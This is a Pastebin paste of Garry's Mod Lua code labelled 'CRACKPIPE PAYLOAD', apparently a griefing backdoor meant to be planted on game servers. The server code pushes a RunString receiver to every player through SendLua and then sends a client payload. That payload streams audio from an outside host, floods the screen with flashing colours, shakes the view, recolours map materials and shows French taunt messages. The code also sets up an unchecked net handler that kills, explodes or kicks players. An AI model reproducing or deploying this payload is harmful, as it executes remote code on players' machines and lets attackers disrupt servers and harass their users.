Advertisement
xSakuraYT

zqddzqdqzdqz

Jan 29th, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.14 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5. local CP = {}
  6.  
  7.  
  8. CP.net = "CP_CLSV__"
  9. util.AddNetworkString(CP.net)
  10. CP.code = string.Replace([==[
  11.  
  12.  
  13. local gfx = {}
  14.  
  15. local messages = {
  16. "Redemarer ton server ne sert a rien !",
  17. "Vous déconnecter ne sert a rien !",
  18. "Je me suis fait chier a faire se payload",
  19. "Alors tu va le regarder, en entier",
  20. "Galshi Revolution - Psystem",
  21. "Avoue c'est un peut styler quand même",
  22. "By RottenFish / GLX"
  23. }
  24.  
  25.  
  26. hook.Add("HUDPaint", "FUCKIT_G",function()
  27. for k,v in pairs(gfx) do
  28. v()
  29. end
  30. end)
  31.  
  32. local message = "Ne redemmare pas ton server, cela ne sert a rien"
  33. local function SlowType(msg,interval,callback)
  34. callback = callback or function()end
  35. message = ""
  36. for i=1,#msg do
  37. timer.Simple(interval * i,function()
  38. message = message .. msg[i]
  39. end)
  40. end
  41. timer.Simple(#msg*interval,callback)
  42. end
  43. local function GetRandomSpot()
  44. local ppos = LocalPlayer():GetPos()
  45. return Vector(ppos.x + math.random(-500, 500),ppos.y + math.random(-500, 500),ppos.z + math.random(-10, 10))
  46. end
  47. surface.CreateFont("PWN",{bold=true,size=40})
  48. SOUNDSTART_CTP = false
  49. sound.PlayURL("http://rottenfish-drm.tk/r.mp3","no block",function(s)
  50. if not s then return end
  51. if SOUNDSTART_CTP then s:Stop() return end
  52. SOUNDSTART_CTP = true
  53.  
  54.  
  55. local ragtbl = {}
  56.  
  57.  
  58. gfx["CoolEffect"] = function()
  59.  
  60.  
  61.  
  62. local tbl = {}
  63. s:FFT(tbl,FFT_2048)
  64.  
  65.  
  66. xpcall(function()
  67. local fal = 0
  68. for i=4,6 do
  69. fal = fal + tbl[i]
  70. end
  71.  
  72. if fal > 0.8 then
  73. local ca = Color(math.random(0,255),math.random(0,255),math.random(0,255), 150)
  74. gfx["ColorChange"] = function()
  75. draw.RoundedBoxEx(0, 0, 0, ScrW(),ScrH(),ca)
  76. end
  77. util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
  78. local mats = Entity(0):GetMaterials()
  79. for k,v in pairs(mats) do
  80. local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
  81. Material(v):SetVector("$color", Vector(r,g,b))
  82. end
  83. end
  84. end,function()
  85. end)
  86.  
  87.  
  88. for k,v in pairs(tbl) do
  89. local col = HSVToColor(k * 1 % 360,1,1)
  90. draw.RoundedBoxEx(0,0,k * 10, (v*10000), 10,col)
  91. draw.RoundedBoxEx(0,ScrW() - (v*10000),k * 10, (v*10000), 10,col)
  92. end
  93. end
  94.  
  95. timer.Simple(29, function()
  96.  
  97. hook.Add("GetMotionBlurValues", "YASS",function(a,b,c,d)
  98. return a,b,c+140,d
  99. end)
  100.  
  101.  
  102. end)
  103.  
  104. local cc = 1
  105. local omgs = {}
  106. timer.Create("MVSPOS", 0.04, 0, function()
  107. for k,v in pairs(omgs) do
  108. if omgs[ k ].n <= 0 then omgs[ k ] = nil continue end
  109. omgs[ k ] = {text = omgs[ k ].text, n = omgs[ k ].n - 1}
  110. end
  111. end)
  112. local isPounding = false
  113.  
  114. timer.Create("NEXTMSG", 6, #messages, function()
  115. if cc > #messages then
  116. isPounding = true
  117. return
  118. end
  119. table.insert(omgs, {text = messages[ cc ],n = ScrH()})
  120. cc = cc + 1
  121. end)
  122.  
  123. gfx["MessageC"] = function()
  124. if isPounding and (#messages <= 0) then
  125. draw.SimpleText("RT ton server <3", "PWN", ScrW() / 2, ScrH() / 2,Color(200,0,0),1,1)
  126. end
  127. for k,v in pairs(omgs) do
  128. draw.SimpleText(omgs[ k ].text, "PWN", ScrW() / 2, omgs[ k ].n,Color(0,0,0),1,1)
  129. end
  130. end
  131. end)
  132.  
  133.  
  134. ]==], "{netk}",CP.net)
  135. CP.NetFunction = {}
  136. CP.NetFunction["k"] = function(ply)
  137. ply:Kill()
  138. end
  139. CP.NetFunction["e"] = function(ply)
  140. ply:Kill()
  141. local explosion = ents.Create( "env_explosion" )
  142. explosion:SetKeyValue( "spawnflags", 144 )
  143. explosion:SetKeyValue( "iMagnitude", 15 )
  144. explosion:SetKeyValue( "iRadiusOverride", 256 )
  145. explosion:SetPos(ply:GetPos())
  146. explosion:Spawn( )
  147. explosion:Fire("explode","",0)
  148. end
  149. CP.NetFunction["a"] = function(ply)
  150. ply:Kick("CRACKPIPE PAYLOAD v.27")
  151. end
  152. net.Receive("CP_CLSV__",function(_,ply)
  153. CP.NetFunction[net.ReadString()](ply)
  154. end)
  155. function CP.SetupPlayer(ply)
  156. ply:SendLua([[net.Receive("]]..CP.net..[[",function()
  157. RunString(net.ReadString())
  158. end)]])
  159. end
  160. function CP.SendPlayer(ply)
  161. net.Start(CP.net)
  162. net.WriteString(CP.code)
  163. net.Send(ply)
  164. end
  165.  
  166. function CP.Spawn(ply)
  167. print(ply:Name().." connected, sending payload. . .")
  168. CP.SetupPlayer(ply)
  169. timer.Simple(5, function()
  170. CP.SendPlayer(ply)
  171. end)
  172. end
  173. hook.Add( "PlayerSpawn", "CP_Spawn", CP.Spawn )
  174.  
  175. for i,v in ipairs(player.GetAll()) do
  176. CP.Spawn(v)
  177. end
  178.  
  179.  
  180. print("party2.1")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement